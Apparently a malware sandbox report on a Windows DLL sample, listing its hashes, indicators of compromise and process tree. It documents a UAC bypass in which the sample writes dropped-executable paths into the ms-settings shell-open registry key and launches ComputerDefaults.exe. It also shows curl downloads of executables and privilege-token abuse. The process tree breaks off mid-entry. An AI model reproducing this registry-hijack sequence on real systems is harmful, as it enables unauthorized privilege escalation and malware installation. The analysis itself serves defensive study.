3773845fdd5d29b35e92b46d182b3f35bb9d6ad75c96648421b7ee9cf6cd7900

Analysis

max time kernel
99s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/09/2026, 09:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3773845fdd5d29b35e92b46d182b3f35bb9d6ad75c96648421b7ee9cf6cd7900.dll
Size 8.7MB
Sample260922-lnkhysshqg
SHA256 3773845fdd5d29b35e92b46d182b3f35bb9d6ad75c96648421b7ee9cf6cd7900
MD5 5013db742b5f48f1a0d94a1c352b0908
SHA1 a3894722c02ceb28f6f5397e9c0f564ab6ee5008
SHA512 00cea94c2a7f084084deea68a15088535da28f1e727763fef79d8fdd5fc5be2b73d9998488dde2d8ea05df505532900bb53ea1b9321d1b20aeb01af92f13c3f4
SSDEEP 196608:lEe9s+bzqT+2Gm57AofDhZgOZ9KeXZHOf/4O7NADtV6v+ud:KeG+aHAEFGOZ9KEZU7B
TLSH
T12196F1163D4C046BE00A2330CE59A1F8F7AE6C603E7744573AF9FA1ABA33B415E4955B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery

Malware Config

Signatures

Downloads MZ/PE file 4 IoCs

flow	pid	Process
10	2668	curl.exe
14	1612	curl.exe
16	4092	curl.exe
18	1496	curl.exe

Executes dropped EXE 21 IoCs

pid	Process
5784	GCnJGxjTTyog.YZX
2576	CQfaeUTPYaUh.UtN
3608	dhihtaYrgsdoVFDGJOdNSgTLWVrHHays.SRX.exe
3048	xSGxZosHfEzNMKCRlBDvPllLWPqErxYn.EKS.exe
4648	yoZmDDOsOBjYtHLuZecskachbtljQRKP.odf.exe
2444	aMafnwrjbywIHAiZbkBRjnyAXRQMwKke.JkQ.exe
4224	jwKsBhRPVUnFGxLSixaVjgqwWkvLkWjy.dxd.exe
4728	SfptaArwpMRUQAEchCaLfKybNWsbgsYd.bqx.exe
5196	UnhNXkWSdVcPRmkussmdYXKyveKcFcdr.zld.exe
4136	ujqVkTssWjGktBBraDIhgEDcZRBiVxvY.eGy.exe
4676	oObAnrLbSBjrFYVgNFmyUhRftfEqrThy.OQj.exe
4156	xvFZvkhxvHvBHHmUvdGaIbMVNsmervrG.ByS.exe
2520	XCqJOdLkeXQxYtYktMAxjyIcSpdcvKRJ.qjf.exe
2876	CpYxwByoPjYGMHPdWWvukKmyGBlrNiAH.EML.exe
5108	dopwRswpSoMMRzocdMysDIXhVRNCnCyY.Mnp.exe
4808	glUDjGDkReeHREKTcEwlsgaFAyCXRyJA.ITF.exe
784	nOzwgKLpcGRFrVgWwTgtToPvSLPpBvxk.qbr.exe
4812	oSSPFqkoRxeSsZQbzTcwAiCLMmEshlgx.IMa.exe
4112	uTEGfqiAGxEpgTzeejqPThPWSRZDEROF.Ufi.exe
1196	pFIxsEFfQBMTDVIeZsSBUmZAZVnRQAMM.cGw.exe
2564	DymEUpFeMMJZsyWMFwbLELeVdrkqTdZb.Kym.exe

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ComputerDefaults.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry class 29 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings	rundll32.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/DMYagMNcICdTTOEsWSQeiFtTgtibPUBC.HpB/pFIxsEFfQBMTDVIeZsSBUmZAZVnRQAMM.cGw.exe"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/JlRbpSAWDENjPkAbExQseRJBdYWkDerX.KDq/oObAnrLbSBjrFYVgNFmyUhRftfEqrThy.OQj.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/WNAzdnAZXQnEVMxByLujuSjWBPhMgfYp.flb/nOzwgKLpcGRFrVgWwTgtToPvSLPpBvxk.qbr.exe"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command	rundll32.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open	rundll32.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/IxalLkDcWBBDqJiwVJfnHTHXoBTBkDWD.Cou/UnhNXkWSdVcPRmkussmdYXKyveKcFcdr.zld.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/lKsByISFqnnVhBtpbJpXvxJeYMuEOnzK.tbH/hYZOIkoqjewCwOaWICAlqUZneXXuHnHw.MuA.exe"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/mQMeaNEqLQsAPHYvLQzgQCrLGjkpbDbL.Jbt/dhihtaYrgsdoVFDGJOdNSgTLWVrHHays.SRX.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/HDvDxdlWNKSyjGrTDeUxGUQQOYcbPomB.KAp/xSGxZosHfEzNMKCRlBDvPllLWPqErxYn.EKS.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/kTqoBjteHoSlMipVBunqDEBAAMnEoneg.rrY/uTEGfqiAGxEpgTzeejqPThPWSRZDEROF.Ufi.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\DelegateExecute	rundll32.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/sECpCWrKLyQdzAWfrfEQDvzmIOepDtbh.UlM/SfptaArwpMRUQAEchCaLfKybNWsbgsYd.bqx.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/ozpHmYECSgUGJfyGzoOCeCQeplcBEeXf.wGv/xvFZvkhxvHvBHHmUvdGaIbMVNsmervrG.ByS.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/kRPpVWrNYiGHUgUePvFZwXwMJdrGPZQO.gcT/dopwRswpSoMMRzocdMysDIXhVRNCnCyY.Mnp.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/FYohFcjRewGTDIthZMqKEfVhxiVBtsaf.XaC/yoZmDDOsOBjYtHLuZecskachbtljQRKP.odf.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/HvYxrDncyoecajhhRdQShyqInowCSvCN.pMe/aMafnwrjbywIHAiZbkBRjnyAXRQMwKke.JkQ.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/tuLYetgwCEeZEgyTGlTCGAhdyeOgLsbr.JGp/XCqJOdLkeXQxYtYktMAxjyIcSpdcvKRJ.qjf.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/maTpBjPrbQWjXyCoFZYzbVqhtdarWbfW.qqE/ujqVkTssWjGktBBraDIhgEDcZRBiVxvY.eGy.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/JZoRlWRbRpSqSHbuQnDlosVamLCrffxR.PFY/CpYxwByoPjYGMHPdWWvukKmyGBlrNiAH.EML.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/CGksbuoQxRPblAPZUQmXEURQvKaQUXBe.Jzs/glUDjGDkReeHREKTcEwlsgaFAyCXRyJA.ITF.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/xBVAPlUPhdFumUVFEZvurkZwBPHdXckz.sPo/oSSPFqkoRxeSsZQbzTcwAiCLMmEshlgx.IMa.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/PUDeOsUeFHzXwSHfwJMcVuIMAkiBzpDr.qUY/DymEUpFeMMJZsyWMFwbLELeVdrkqTdZb.Kym.exe"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\ms-settings\Shell\open\command\ = "../../ProgramData/nOlsSuBrJeqwbBCSoJdpvNHPkVMtfeWt.ZkW/jwKsBhRPVUnFGxLSixaVjgqwWkvLkWjy.dxd.exe"	rundll32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe
1632	rundll32.exe

Suspicious behavior: LoadsDriver 36 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1632	rundll32.exe
Token: SeLoadDriverPrivilege	1632	rundll32.exe
Token: SeTakeOwnershipPrivilege	1632	rundll32.exe
Token: SeIncBasePriorityPrivilege	1632	rundll32.exe
Token: SeTcbPrivilege	1632	rundll32.exe

Suspicious use of WriteProcessMemory 63 IoCs

description	pid	Process	procid_target
PID 4052 wrote to memory of 1632	4052	rundll32.exe	89
PID 1632 wrote to memory of 4960	1632	rundll32.exe	94
PID 4960 wrote to memory of 1828	4960	cmd.exe	96
PID 1828 wrote to memory of 3608	1828	ComputerDefaults.exe	97
PID 1632 wrote to memory of 5320	1632	rundll32.exe	98
PID 5320 wrote to memory of 4540	5320	cmd.exe	100
PID 4540 wrote to memory of 3048	4540	ComputerDefaults.exe	101
PID 1632 wrote to memory of 4956	1632	rundll32.exe	103
PID 4956 wrote to memory of 4940	4956	cmd.exe	105
PID 4940 wrote to memory of 4648	4940	ComputerDefaults.exe	106
PID 1632 wrote to memory of 5684	1632	rundll32.exe	107
PID 5684 wrote to memory of 2448	5684	cmd.exe	109
PID 2448 wrote to memory of 2444	2448	ComputerDefaults.exe	110
PID 1632 wrote to memory of 4044	1632	rundll32.exe	111
PID 4044 wrote to memory of 5772	4044	cmd.exe	113
PID 5772 wrote to memory of 4224	5772	ComputerDefaults.exe	114
PID 1632 wrote to memory of 5844	1632	rundll32.exe	115
PID 5844 wrote to memory of 588	5844	cmd.exe	117
PID 588 wrote to memory of 4728	588	ComputerDefaults.exe	118
PID 1632 wrote to memory of 5032	1632	rundll32.exe	119
PID 5032 wrote to memory of 432	5032	cmd.exe	121
PID 432 wrote to memory of 5196	432	ComputerDefaults.exe	122
PID 1632 wrote to memory of 6052	1632	rundll32.exe	123
PID 6052 wrote to memory of 4848	6052	cmd.exe	125
PID 4848 wrote to memory of 4136	4848	ComputerDefaults.exe	126
PID 1632 wrote to memory of 5476	1632	rundll32.exe	127
PID 5476 wrote to memory of 3160	5476	cmd.exe	129
PID 3160 wrote to memory of 4676	3160	ComputerDefaults.exe	130
PID 1632 wrote to memory of 1492	1632	rundll32.exe	131
PID 1492 wrote to memory of 4516	1492	cmd.exe	133
PID 4516 wrote to memory of 4156	4516	ComputerDefaults.exe	134
PID 1632 wrote to memory of 3744	1632	rundll32.exe	135
PID 820 wrote to memory of 2520	820	ComputerDefaults.exe	138
PID 1632 wrote to memory of 3152	1632	rundll32.exe	139
PID 3152 wrote to memory of 3548	3152	cmd.exe	141
PID 3548 wrote to memory of 2876	3548	ComputerDefaults.exe	142
PID 1632 wrote to memory of 2668	1632	rundll32.exe	143
PID 1632 wrote to memory of 2636	1632	rundll32.exe	145
PID 2636 wrote to memory of 3224	2636	cmd.exe	147
PID 3224 wrote to memory of 5108	3224	ComputerDefaults.exe	148
PID 1632 wrote to memory of 3764	1632	rundll32.exe	149
PID 3764 wrote to memory of 4100	3764	cmd.exe	151
PID 4100 wrote to memory of 4808	4100	ComputerDefaults.exe	152
PID 1632 wrote to memory of 1612	1632	rundll32.exe	153
PID 1632 wrote to memory of 520	1632	rundll32.exe	155
PID 520 wrote to memory of 3572	520	cmd.exe	157
PID 3572 wrote to memory of 784	3572	ComputerDefaults.exe	158
PID 1632 wrote to memory of 4560	1632	rundll32.exe	159
PID 4560 wrote to memory of 1608	4560	cmd.exe	161
PID 1608 wrote to memory of 4812	1608	ComputerDefaults.exe	162
PID 1632 wrote to memory of 4092	1632	rundll32.exe	163
PID 1632 wrote to memory of 3844	1632	rundll32.exe	165
PID 3844 wrote to memory of 5780	3844	cmd.exe	167
PID 5780 wrote to memory of 4112	5780	ComputerDefaults.exe	168
PID 1632 wrote to memory of 4788	1632	rundll32.exe	169
PID 4788 wrote to memory of 3568	4788	cmd.exe	171
PID 3568 wrote to memory of 1196	3568	ComputerDefaults.exe	172
PID 1632 wrote to memory of 1496	1632	rundll32.exe	173
PID 1632 wrote to memory of 4784	1632	rundll32.exe	175
PID 4784 wrote to memory of 5028	4784	cmd.exe	177
PID 5028 wrote to memory of 2564	5028	ComputerDefaults.exe	178
PID 1632 wrote to memory of 4640	1632	rundll32.exe	179
PID 4640 wrote to memory of 1784	4640	cmd.exe	181

cURL User-Agent 4 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	10	curl/8.8.0
HTTP User-Agent header	14	curl/8.8.0
HTTP User-Agent header	16	curl/8.8.0
HTTP User-Agent header	18	curl/8.8.0

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\3773845fdd5d29b35e92b46d182b3f35bb9d6ad75c96648421b7ee9cf6cd7900.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:4052
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\3773845fdd5d29b35e92b46d182b3f35bb9d6ad75c96648421b7ee9cf6cd7900.dll,#1
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4960
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1828
    - - C:\ProgramData\mQMeaNEqLQsAPHYvLQzgQCrLGjkpbDbL.Jbt\dhihtaYrgsdoVFDGJOdNSgTLWVrHHays.SRX.exe
        
        "dhihtaYrgsdoVFDGJOdNSgTLWVrHHays.SRX.exe"
        5⤵
        Executes dropped EXE
        
        PID:3608
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5320
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4540
    - - C:\ProgramData\HDvDxdlWNKSyjGrTDeUxGUQQOYcbPomB.KAp\xSGxZosHfEzNMKCRlBDvPllLWPqErxYn.EKS.exe
        
        "xSGxZosHfEzNMKCRlBDvPllLWPqErxYn.EKS.exe"
        5⤵
        Executes dropped EXE
        
        PID:3048
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4956
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4940
    - - C:\ProgramData\FYohFcjRewGTDIthZMqKEfVhxiVBtsaf.XaC\yoZmDDOsOBjYtHLuZecskachbtljQRKP.odf.exe
        
        "yoZmDDOsOBjYtHLuZecskachbtljQRKP.odf.exe"
        5⤵
        Executes dropped EXE
        
        PID:4648
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5684
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2448
    - - C:\ProgramData\HvYxrDncyoecajhhRdQShyqInowCSvCN.pMe\aMafnwrjbywIHAiZbkBRjnyAXRQMwKke.JkQ.exe
        
        "aMafnwrjbywIHAiZbkBRjnyAXRQMwKke.JkQ.exe"
        5⤵
        Executes dropped EXE
        
        PID:2444
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4044
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5772
    - - C:\ProgramData\nOlsSuBrJeqwbBCSoJdpvNHPkVMtfeWt.ZkW\jwKsBhRPVUnFGxLSixaVjgqwWkvLkWjy.dxd.exe
        
        "jwKsBhRPVUnFGxLSixaVjgqwWkvLkWjy.dxd.exe"
        5⤵
        Executes dropped EXE
        
        PID:4224
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5844
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:588
    - - C:\ProgramData\sECpCWrKLyQdzAWfrfEQDvzmIOepDtbh.UlM\SfptaArwpMRUQAEchCaLfKybNWsbgsYd.bqx.exe
        
        "SfptaArwpMRUQAEchCaLfKybNWsbgsYd.bqx.exe"
        5⤵
        Executes dropped EXE
        
        PID:4728
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5032
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:432
    - - C:\ProgramData\IxalLkDcWBBDqJiwVJfnHTHXoBTBkDWD.Cou\UnhNXkWSdVcPRmkussmdYXKyveKcFcdr.zld.exe
        
        "UnhNXkWSdVcPRmkussmdYXKyveKcFcdr.zld.exe"
        5⤵
        Executes dropped EXE
        
        PID:5196
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6052
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4848
    - - C:\ProgramData\maTpBjPrbQWjXyCoFZYzbVqhtdarWbfW.qqE\ujqVkTssWjGktBBraDIhgEDcZRBiVxvY.eGy.exe
        
        "ujqVkTssWjGktBBraDIhgEDcZRBiVxvY.eGy.exe"
        5⤵
        Executes dropped EXE
        
        PID:4136
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5476
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3160
    - - C:\ProgramData\JlRbpSAWDENjPkAbExQseRJBdYWkDerX.KDq\oObAnrLbSBjrFYVgNFmyUhRftfEqrThy.OQj.exe
        
        "oObAnrLbSBjrFYVgNFmyUhRftfEqrThy.OQj.exe"
        5⤵
        Executes dropped EXE
        
        PID:4676
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1492
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4516
    - - C:\ProgramData\ozpHmYECSgUGJfyGzoOCeCQeplcBEeXf.wGv\xvFZvkhxvHvBHHmUvdGaIbMVNsmervrG.ByS.exe
        
        "xvFZvkhxvHvBHHmUvdGaIbMVNsmervrG.ByS.exe"
        5⤵
        Executes dropped EXE
        
        PID:4156
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3744
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:820
    - - C:\ProgramData\tuLYetgwCEeZEgyTGlTCGAhdyeOgLsbr.JGp\XCqJOdLkeXQxYtYktMAxjyIcSpdcvKRJ.qjf.exe
        
